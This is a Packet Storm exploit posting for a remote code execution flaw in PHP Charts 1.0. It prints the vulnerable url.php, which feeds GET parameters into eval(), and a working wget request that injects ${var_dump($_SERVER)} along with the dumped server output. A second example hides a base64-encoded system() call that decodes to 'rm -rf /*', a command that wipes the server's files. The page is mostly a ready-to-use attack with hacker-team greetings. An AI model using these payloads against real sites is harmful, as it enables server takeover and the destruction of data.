exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Charts 1.0 Code Execution

PHP Charts 1.0 Code Execution
Posted Jan 16, 2013
Authored by Akastep

PHP Charts version 1.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, php, code execution
SHA-256 | 64dbb04aef88e5fb2954ee4818a1aac7de41ecf55f1212bd08d0eddd49109241

PHP Charts 1.0 Code Execution

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm AkaStep member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

===============================================================
Vulnerable Software: php-chart_v1.0
Official Site: http://php-charts.com/
Vuln: PHP Code Execution.
===============================================================
Tested On: Debian squeeze 6.0.6
Server version: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH

================================================================
About Software:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data).
================================================================

About vuln:


root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
require("../lib/phpchart.class.php");
$color_var=array("txt_col","line_col","bg_color");
$cname=$_GET["type"];
$chart=new PHPChart($cname);

foreach($_GET as $key=>$value)
{
if($value!="")
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'="#'.$value.'";');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key."='".$value."';");
}
}
$chart->genChart();




Exploitation:

root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt
--2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”

[ <=> ] 1,917 --.-K/s in 0s

2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]


Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
["DOCUMENT_ROOT"]=>
string(28) "/etc/apache2/htdocs/hacker1/"
["GATEWAY_INTERFACE"]=>
string(7) "CGI/1.1"
["HTTP_ACCEPT"]=>
string(3) "*/*"
["HTTP_CLIENT_IP"]=>
string(9) "127.0.0.1"
["HTTP_HOST"]=>
string(11) "hacker1.own"
["HTTP_USER_AGENT"]=>
string(21) "Wget/1.12 (linux-gnu)"
["HTTP_VIA"]=>
string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
["HTTP_X_FORWARDED_FOR"]=>
string(9) "127.0.0.1"
["PATH"]=>
string(4) "/bin"
["PHPRC"]=>
string(14) "/etc/php5/cgi/"
["QUERY_STRING"]=>
string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["REDIRECT_STATUS"]=>
string(3) "200"
["REMOTE_ADDR"]=>
string(9) "127.0.0.1"
["REMOTE_PORT"]=>
string(5) "60830"
["REQUEST_METHOD"]=>
string(3) "GET"
["REQUEST_URI"]=>
string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["SCRIPT_FILENAME"]=>
string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
["SCRIPT_NAME"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["SERVER_ADDR"]=>
string(9) "127.0.0.1"
["SERVER_ADMIN"]=>
string(21) "webmaster@hacker1.own"
["SERVER_NAME"]=>
string(11) "hacker1.own"
["SERVER_PORT"]=>
string(2) "80"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
["SERVER_SIGNATURE"]=>
string(0) ""
["SERVER_SOFTWARE"]=>
string(6) "Apache"
["UNIQUE_ID"]=>
string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
["PHP_SELF"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["REQUEST_TIME"]=>
int(1358302756)
}

Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1

Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#


Example 2:

http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL

=====================ENDS HERE============================


================================================
KUDOSSSSSSS
================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com

to all Aa Team + to all Azerbaijan Black HatZ
+ *Especially to my bro CAMOUFL4G3 *
To All Turkish Hackers

Also special thanks to: ottoman38 & HERO_AZE
================================================

/AkaStep
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close